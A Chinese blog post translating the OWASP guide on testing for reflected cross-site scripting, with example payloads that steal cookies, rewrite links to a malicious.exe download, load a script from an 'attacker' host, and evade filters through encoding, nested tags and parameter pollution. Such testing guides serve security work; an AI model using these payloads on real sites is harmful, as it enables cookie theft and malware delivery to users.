反射型xss测试(owasp)

10 篇文章 0 订阅
3 篇文章 0 订阅

原文

How to test

黑盒测试

黑盒测试至少包括3个阶段:

寻找输入
对于每个网页,测试者要确认所有web应用中用户定义的变量,以及如何输入它们。这包括隐藏的输入,比如http参数、post数据、表单的隐藏字段和预定义的值。通常,用浏览器自带的html编译器或web代理来查看隐藏变量。

分析输入
分析每个输入以检测潜在漏洞。为了检测xss漏洞,测试者通常使用特定构建的输入数据。这类输入一般是无害的,但能触发此漏洞。测试数据能够用web应用fuzzer产生,或手动生成。这种输入的一些例子如下:

  • <script>alert(123)</script>
  • “><script>alert(document.cookie)</script>

更多请看XSS Filter Evasion Cheat Sheet

检测影响
在每次测试输入时,测试者将分析结果并确认是否存在漏洞(对网站安全存在实际影响)。这要求检测网站最终的页面,以及搜索测试的输入。一旦找到,测试人员会识别出未正确编码,替换或过滤掉的任何特殊字符。未过滤的字符集取决于html中该部分的上下文。

理想情况下,所有html特殊字符会被替换成html实体。主要的html实体如下:

  • > (greater than)
  • < (less than)
  • & (ampersand)
  • ’ (apostrophe or single quote)
  • " (double quote)
    但是,HTML和XML规范定义了实体的完整列表。Wikipedia has a complete reference.
    在html代码或js代码的上下文中,一组不同的特殊字符集需要被转义、编码、替换或者过滤掉。这些字符包括:
  • \n (new line)
  • \r (carriage return)
  • ’ (apostrophe or single quote)
  • " (double quote)
  • \ (backslash)
  • \uXXXX (unicode values)

For a more complete reference, see the Mozilla JavaScript guide.

例1
举例,有一个网站,它有个欢迎消息 Welcome %username% 和一个下载链接。
在这里插入图片描述
测试者要怀疑每个数据输入点都可能产生xss攻击。为了分析它,测试者会尝试利用用户参数引起xss。

让我们点击以下链接,并查看发生什么。

http://example.com/index.php?user=<script>alert(123)</script>

如果并未被过滤,则结果如下:
在这里插入图片描述
这意味着此处存在xss漏洞。

例2
让我们尝试其他代码(链接)

http://example.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a");
AllLinks[0].href = "http://badexample.com/malicious.exe"; }</script>

结果如下:
在这里插入图片描述
点击此链接,会让用户下载文件malicious.exe

xss绕过

The XSS Filter Evasion Cheat Sheet documents common filter evasion tests.

例3:tag属性值
由于过滤器基于黑名单,它们无法组织所有类型的表达式。事实上,许多XSS利用不需要使用<script>标签,甚至不需要使用字符< >和 /

<input type="text" name="state" value="INPUT_FROM_USER">
<input type="text" name="state" value="" onfocus="alert(document.cookie)">

例4:不同语法或编码
在一些情况下,基于特征的过滤器可以被混淆攻击绕过。通常你可以通过插入在语法或编码方面不同的的变量达到此目的。这些变量被浏览器认为是有效的,同时也被过滤器接受。

以下是几个例子:

  • "><script >alert(document.cookie)</script >
  • "><ScRiPt>alert(document.cookie)</ScRiPt>
  • "%3cscript%3ealert(document.cookie)%3c/script%3e

例5:绕过非递归的过滤
过滤有时候仅会被应用一次,而非递归进行。在这种情况下,攻击者可以利用复写进行绕过,就像下面这个:

<scr<script>ipt>alert(document.cookie)</script>

例6:包含外部脚本
现在,假设网站开发者完成以下代码,用来保护输入不包含外部脚本:

<?
    $re = "/<script[^>]+src/i";

    if (preg_match($re, $_GET['var']))
    {
        echo "Filtered";
        return;
    }
    echo "Welcome ".$_GET['var']." !";
?>

在这种情况下,有个正则表达式检测是否插入 <script[除了>以外的其他字符] src 。这个用来过滤像下面这种的表达式:

<script src="http://attacker/xss.js"></script>

这是一个常规攻击,但在这个情况下,他可能可以在script和src间使用>绕过此过滤,像这样:

http://example/?var=<SCRIPT%20a=">"%20SRC="http://attacker/xss.js"></SCRIPT>

这将会像之前那样利用xss,执行js代码。

例7:http参数污染(HPP)
其他绕过的方法有http参数污染。这个逃逸技术内容是,用相同名称的多个参数分割攻击向量。每个参数值的操作取决于网站的解析,所以这种方法并不是每次都有效的。如果测试后的环境将所有相同名字的值串联起来,那么攻击者就可以利用这点进行绕过。
常规攻击:

http://example/page.php?param=<script>[...]</script>

使用HPP进行攻击:

http://example/page.php?param=<script&param=>[...]</&param=script>

小结

本篇唯一值得看的感觉就是绕过部分,然而绕过部分我接下来也会去翻译XSS Filter Evasion Cheat Sheet
在实际测试中也需要制作一个测试字典去看看哪些绕过是可用的。
测试方法也是见框即插

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值